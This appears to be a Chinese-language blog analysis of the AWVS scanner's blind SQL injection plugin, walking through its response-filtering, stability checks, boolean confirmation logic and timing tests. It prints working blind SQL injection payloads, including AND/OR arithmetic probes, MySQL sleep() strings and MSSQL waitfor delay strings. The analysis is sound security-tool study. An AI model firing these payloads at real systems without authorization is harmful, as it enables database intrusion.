0x00 前言

在上一篇文章中,我们提到了AWVS的几个插件,并对其中的 classXSS, classSQLI等几个插件进行了分析, 接下来的重头戏是对AWVS的盲注插件的分析, 即在 ./PerScheme/Blind_Sql_Injection.script这一插件的分析。


0x01 插件的结构

在这个插件中, 可以看到由类 classBlindSQLInj和以下几个函数构成:

classBlindSQLInj.prototype.getOrigValue 
classBlindSQLInj.prototype.extractTextFromBody 
classBlindSQLInj.prototype.filterBody 
classBlindSQLInj.prototype.alert 
classBlindSQLInj.prototype.request 
classBlindSQLInj.prototype.checkIfResponseIsStable 
classBlindSQLInj.prototype.addToConfirmInjectionHistory 
classBlindSQLInj.prototype.addToConfirmInjectionHistoryTiming 
classBlindSQLInj.prototype.confirmInjection 
classBlindSQLInj.prototype.confirmInjectionWithOR 
classBlindSQLInj.prototype.confirmInjectionWithOR2 
classBlindSQLInj.prototype.testInjection 
classBlindSQLInj.prototype.testInjectionWithOR 
classBlindSQLInj.prototype.testInjectionWithOR2 
classBlindSQLInj.prototype.confirmInjectionOrderBy 
classBlindSQLInj.prototype.testInjectionOrderBy 
classBlindSQLInj.prototype.genSleepString 
classBlindSQLInj.prototype.genBenchmarkSleepString 
classBlindSQLInj.prototype.testTiming 
classBlindSQLInj.prototype.testBenchmarkTiming 
classBlindSQLInj.prototype.testOOB 
classBlindSQLInj.prototype.startTesting

在上一篇中提到,像 alert这种函数,其实是在获取到漏洞信息之后反馈给AWVS的系统用于记录的,所以可以不关注。同时根据对 sqli-labs进行测试后发现,其实AWVS对于 benchmark注入的算法并不算太精确, 这点在后面会提到 ,所以重点放在了 testInjection, testInjectionWithOR, testInjectionWithOR2 等函数中。 接下来还是以入口进行分析,在该插件中,入口是一个for循环,

for (var i=0;i<scheme.inputCount; i++) //scheme类似于参数变量的list或者dict
{
    var tester = new classBlindSQLInj(scheme, i);    //取出某一参数,生成一个classBlindSQLInj对象,
    tester.inputName = scheme.getInputName(i);
    tester.inputNameLC = tester.inputName.toLowerCase();
    tester.startTesting(); //开始测试

所以,重点还是在于classBlindSQLInj这个类中,下面我们开始对这个类进行分析


0x02 重点函数分析

在上一小节所列出的classBlindSQLInj这个类中函数,我们可以将其分为以下几类:

  1. 测试函数,包括testInjection,testOOB,testTiming

  2. 确认函数,包括confirmInjection,confirmInjectionWithOR等

  3. 功能函数,包括filterBody,extractTextFromBody,checkIfResponseIsStable等函数

下面我们进行功能函数的分析,再进行测试函数的分析,最后是确认函数的分析


功能函数

extractTextFromBody函数

怎么说呢, 其实开发都应该向AWVS一样,将函数名写的十分的易懂。 这个函数如其名称,是从html文本中提出text, 而减少了关于不同访问的标签属性的变化而带来的影响(猜的)。 具体看一下:

    var tokens = htmlTokens(body); //词法分析后,取出所有的标签
    var str = "";
    var includeText = true;
    while (token = tokens.nextToken()) {
        if (token.isTag){ 
            if (token.tagName == 'STYLE') includeText = false;
            else if (token.tagName == '/STYLE') includeText = true;
            else if (token.tagName == 'SCRIPT') includeText = false;
            else if (token.tagName == '/SCRIPT') includeText = true; 
        }
        else if (token.isText) {
            if (includeText) str = str + token.raw + "\n";  
        }
    }   
    return str;

代码其实很简单了,将body中的标签取出,一旦遇到/STYLE和/SCRIPT的标签,其includeText为TRUE,虽然htmlToken这个函数没有具体的代码,但是应该不难猜测类似于js中的dom树。python中bs4这个库中也相关的函数如:.next_sibling等。一言以敝之, 这个函数是去标签化的过程。


filterBody函数

在了解了上一个函数之后, filterBody也就很好分析了

    var ct = this.lastJob.response.headerValue('content-type').toLowerCase();
    if (ct == "" || ct.indexOf('html') != -1) 
        body = this.extractTextFromBody(body);
    body = body.replace(/([0-1]?[0-9]|[2][0-3]):([0-5][0-9])[.|:]([0-9][0-9])/g, "");
    body = body.replace(/time\s*[:]\s*\d+\.?\d*/g, "");
    if (testValue && this.origValue.length >= 4) {
        body = body.replaceAll(testValue, "");
    }
    if (testValue && this.origValue && testValue.length > this.origValue.length) {
        var partialValue = testValue.replaceAll(this.origValue, "");
        body = body.replaceAll(partialValue, "");
    }
    if (this.origValue && this.origValue.length >= 4)
        body = body.replaceAll(this.origValue, "");
    return body;

首先判断 Content-Type的响应是否包含了 html字段,其次过滤掉了时间相关的字段值,最后处理原始值与测试值是否需要在响应中去除,最后返回结果。


checkIfResponseIsStable函数

对于时延注入来说, 检测响应是否稳定应该是相对比较重要的功能了。 AWVS的实现方式如下:

    min_time = min(time1, time2)
    max_time = max(time1, time2)
    shortDuration = max(shortDuration, max_time) + 1
    longDuration = shortDuration * 2
    # 检测responseTimingIsStable
    if (max_time - min_time > shortDuration): responseTimingIsStable = False;
    else: responseTimingIsStable = true
    #检测responseIsStable
    if body1 != body2:
        responseIsStable = False
        return True 
        # 返回True意味着函数`checkResponseIsStable`执行成功,并且在请求参数时未返回错误,并不是说responseIsStable = True, 这一点要注意 
    else: responseIsStable=True
    # 检测InputIsStable
    if len(body1) == 0: 
        inputIsStable = False
        return True
    # responseTimingStable
    if max_time - min_time > shortDuration: responseTimingIsStable=False
    else: responseTimingIsStable = True
    if shortDuation > 10: responseTimingIsStable = False
    #  inputIsStable
    if (body1 == body2 and body1 != body3): inputIsStable=True
    else: inputIsStable=False

确认函数

在功能函数讲完之后, 下一步我们先进行确认函数的分析,最后才是测试函数. 先看一下awvs的 confirmInjection函数的定义


confirmInjection函数

classBlindSQLInj.prototype.confirmInjection = function(varIndex, quoteChar, likeInjection, confirmed)


其中

然后声明了几个变量

variation //变量
origValue //原始值
origBody // 原始响应
testBody // 测试值响应
randNum // 一个小于1000的随机数
randString //一个字个字符的随机字符串, 如果变量是数字型的, randString == randNum
likeStr // 取值为 `%` 如果是LikeInjection, likeStr就赋值为 %

接着在测试的主体中,将参数值分成了数字与字符两种,对于数字的型的测试流程如下,awvs的测试 payload很多,主要是True/False两种,下面只对每一种举例:

//TEST TRUE
paramValue = (origValueAsInt).toString() + "*1*1";
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody != origBody) {
    return false;        
}
//TEST FALSE
paramValue = (origValueAsInt + 10).toString() + "*5*2*999";
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
    return false;        
}

将一些调试信息过滤后,其主要的测试步骤如上:对于TruePayload生成条件为: (origValueAsInt).toString()+"*1*1", 如原始值为2, 那么payload为:2*1*1, 然后如果请求没有出错,那么将响应值对于filterBody函数所过滤过出的testBodyorigBody相对比,如果两个值不相等,即判定为不存在注入漏洞。

因为如果存在注入漏洞时,2*1*1 的响应应该等于 2。相对应的,测试FalsePayload值:(origValueAsInt+10).toString()+"*5*2*999" 对其响应做处理后判断与origBody相等,则判定不存在漏洞,直接return

没错,对于数字的注入只用了这两种方法,惊喜不惊喜,意外不意外,开心不开心?其所有的payload如下:

//TEST TRUE
paramValue = "1*1*1*" + origValue;
paramValue = (origValueAsInt).toString() + "*1*1";
paramValue = "1*1*1*1*1*" + (origValueAsInt).toString();
//TEST FALSE
paramValue = origValue + "*" + randNum.toString() + "*" + (randNum-5).toString() + "*0
paramValue = (origValueAsInt + 10).toString() + "*5*2*999";
paramValue = (origValueAsInt + 10).toString() + "*1*1*0*1*1*" + randNum;

其函数主体是对这六个Payload的乱序请求, 一旦其中一个payload返回的False, 直接返回False

接下来是测试字符串的payload, 同样还是对于true/falsepayload举例两个:

//TEST TRUE
paramValue = origValue + likeStr + quoteChar + " AND 3*2*0>=0 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody != origBody) {
    return false;
}
// TEST FALSE
paramValue = origValue + likeStr + quoteChar + " AND 3*3*9<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
    return false;
}

同样的,payload的生成规则与数字一样, 就不再重复叙述了, 这里把awvs中的payload列下

//TEST TRUE
paramValue = origValue + likeStr + quoteChar + " AND 2*3*8=6*8 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*2>(1*5) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*2*0>=0 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
//TEST FALSE
paramValue = origValue + likeStr + quoteChar + " AND 3*3*9<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*3<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 2*3*8=6*9 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;

除了数字与字符型的payload,awvs还提供了一种common型,即不管数字或者字符都可以直接用的..检测过程一样,直接上payload:

//TEST TRUE
paramValue = origValue + likeStr + quoteChar + " AND 5*4=20 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 7*7>48 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*2*1=6 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
//TEST FALSE
paramValue = origValue + likeStr + quoteChar + " AND 5*4=21 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 5*6<26 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
paramValue = origValue + likeStr + quoteChar + " AND 3*2*0=6 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;

当然当然,awvs并不只是有and的注入,还包括or的注入,同时因为or的注入也是通过检测testBody是否与origBody相符来判断的,所以老规矩,举例两个然后直接上payload


confirmInjectionWithORconfirmInjectionWithOR2函数

其测试TRUE与FALSE的条件如下:

// TEST TRUE
paramValue = origValue + quoteChar + " OR 2+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
    return false;
}
//TEST FALSE
paramValue = origValue + quoteChar + " OR 3+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == trueBody) {
    return false;
}

与上一个小节的confirmInjection一样,通过不同的or条件下testBody与origBody是否一致来判断漏洞的存在与否,其payload如下:

//TEST TRUE
paramValue = origValue + quoteChar + " OR 2+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2>(0+5+" + randNum + "-" + randNum + ") or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 2+1-1-1=1 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2*1=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
// TEST FALSE
paramValue = origValue + quoteChar + " OR 3*2*0=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2=5 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR " + randString + "=" + randString + " AND 3+1-1-1=1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3*2<(0+5+" + randNum + "-" + randNum + ") or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
paramValue = origValue + quoteChar + " OR 3+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;

其函数主体是对上述的payload进行乱序请求,如果某一条未返回False, 则直接返回 False,否则返回True

测试函数

BO!BO!BO! 下面看一下awvs的时延注入检测函数,这一部分需要跨度两个函数,即:testTiming与startTest,其实startTest相当于入口函数了。


testTiming函数

在分析这个函数的时候,首先我们需要进入startTest函数看一下payload相关代码, 同样,因为包含了mysql,mssql等,这里只分析一下mysql的, mssql的相关代码同样是使用了 testTiming的函数, 可以payload来自己分析

if (this.testTiming(i, "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/")) return true;
// mysql generic variant
if (this.testTiming(i, "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/")) return true;

上边将两条Payload传入了testTiming函数

//payload1
"if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/"
//payload2
"(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/"

这里看到有{SLEEP}标志符,后边会用它来替换成将要休眠的秒数 在函数中首先有四个函数分别是:

stepLongDelay
stepZeroDelay
stepMidDelay
stepVeryLongDelay

这四个函数分别对应休眠秒数为 long, zero, mid, verylong这四个级别的长度的检测方法,而这四个长度是由上文提到的 longDuration与 shortDuration这两个变量相互组合而来的,是简单的加减法,在函数 genSleepString中,不再多叙述。

接下来分别用 lzvm分别代表 long, zero, verylong, mid这四个级别,生成了一个由 lzvm字符排列的序列, 并附加了一个固定的字符串 zzzlz:

var permutations = new Array("lzvm", "lzmv", "lvzm", "lvmz", "lmzv", "lmvz", "vzlm", "vzml", "vlzm", "vlmz", "vmzl", "vmlz", "mzlv", "mzvl", "mlzv", "mlvz", "mvzl", "mvlz");
var permutation = permutations[permIndex] + "zzzlz";

对于这里的每一个字符,调用对应的函数来检测, 这里举 verylong来举例

this.stepVeryLongDelay = function () {
    var veryLongDuration = (this.shortDuration + this.longDuration);
    paramValue = origParamValue.replace(/{SLEEP}/g, this.genSleepString("verylong"));
    paramValue = paramValue.replace(/{ORIGVALUE}/g, this.origValue);        
    paramValue = paramValue.replace(/{RANDSTR}/g, randStr(8));
    if (!this.request(variation, paramValue, timeOutSecs*1000, dontEncode)) return false;
    Time4 = this.lastJob.responseDuration/1000;
    if (Time4 < (veryLongDuration * 99/100)) return false;
    return true;
}

可以看出实现很简单,替换 {SLEEP}等替代符之后,发送请求判断响应时间与预定时间的大小来对漏洞是否存在返回TRUE/FALSE, 后边还对这四个函数的返回值如time1,time2,time3,time4做了一个简单的比较,举例来说,time1代表 verylong级别,time2代表 mid级别, 那么如果 time1<time2, 表示注入不存在。 其他函数与此相同,不再多叙述。 除此之外,关于mysql的还有 benchmark这种关于时延注入的payload, 但是在awvs中, benchmark不同次数之后与一个固定的秒数相比较, 可能会因为网络的原因而出现误报, 所以本次不进行分析,不过大致的流程与上边的sleep是一样的, 可以自己看一下代码


startTesting函数

看到这里,应该对整个脚本的流程有了一个清楚的认识,我们先看整个函数的代码是怎么样的:

classBlindSQLInj.prototype.startTesting = function()
{   
    if (this.origValue == "") 
    {   
        this.origValue = "1";
        this.isNumeric = true;
    }
    for (var i=0; i<this.variations.count; i++) 
    {
        if (this.foundVulnOnVariation) break;
        if (!this.checkIfResponseIsStable(i)) return false;
        var doBooleanTests = true;
        var doTimingTests = true;
        var doTimingTestsMySQL = true;
        ...
        // for bounties do more tests even if they have false positives
        if (bounties) {
            var doBooleanTests = true;
            var doTimingTests = true;
            ...
        }
        if (doBooleanTests) {
            if (this.inputIsStable) {
                // numeric
                if (this.isNumeric && this.testInjection(i, '', false)) return true;
                // single quote
                if (this.testInjection(i, "'", false)) return true;
                // double quote
                if (this.testInjection(i, '"', false)) return true;
                // single quote, inside like
                if (this.testInjection(i, "'", true)) return true;
                // for special named parameters make do the order/group by tests
                if ((this.inputNameLC.indexOf("order") != -1 || this.inputNameLC.indexOf("group") != -1 || this.inputNameLC.indexOf("sort") != -1)
                    && this.testInjectionOrderBy(i)) return true;
            }
            else
            {
                if (this.testInjectionWithOR(i, '')) return true;
                if (this.testInjectionWithOR(i, '', true)) return true;
                if (this.testInjectionWithOR(i, "'")) return true;
                if (this.testInjectionWithOR2(i, "'")) return true;
                if (this.testInjectionWithOR(i, '"')) return true;
            }
        }
        // timing tests
        if (doTimingTests) {
            if (this.responseTimingIsStable) {
                if (doTimingTestsMySQL) {
                    if (this.testTiming(i, "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/")) return true;
                    if (this.testTiming(i, "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/")) return true;
                    if (doTimingTestsMySQLBenchmark) {
                      ...
                    }
                    // the perl jam
                    if (this.scheme.path) {
                        ...
                    }
                }
                if (doTimingTestsMSSQL) {
                    if (this.isNumeric && this.testTiming(i, "-1; waitfor delay '0:0:{SLEEP}' -- ")) return true;
                    if (this.isNumeric && this.testTiming(i, "-1); waitfor delay '0:0:{SLEEP}' -- ")) return true;
                    ...
                    if (doTimingTestsMSSQLExtra) {
                        ...
                    }
                }
                if (doTimingTestsPostgreSQL) {
                        ...
                    if (doTimingTestsPostgreSQLExtra) {
                        ...
                    }
                }
                if (doTimingTestsRails) {
                    // for Rails make some extra checks
                    if (isRails) {
                        ...
                    }
                }
            }
        }
        if (doOOBTests) {
            ...
        }
    }
}

首先是为没有值的参数设置了默认的数字 1作为其值,然后初始化一些变量,接着根据变量的值来判断是否进行mysql, mssql,postsql等数据库的测试,并通过不同的字符如 ', "等来调用前边分析的函数进行时延,布尔等注入类型的测试, 代码相对比较简单,结合前边的几个主要函数,可以对盲注更深入的了解了。


0x03 总结

本篇文章主要对awvs的盲注进行了简单的分析,通过分析它的函数代码,可以学习到一款成熟的扫描器是如何就SQL注入这个漏洞进行的分析与利用,同时对于自己扫描器中的也可以增加一款新插件。 另外不知道有没有注入到一点,在盲注这一个脚本中,并没有发现宽字符注入这一个注入点的检测,所以还可以就这几个函数,新增加一个检测宽字符注入的payload, 百尺竿头,更进一步。 另外还有order by的注入也在里边,有兴趣的可以看一下,流程与上边的类似。


0x04 参考


源链接

Hacking more

...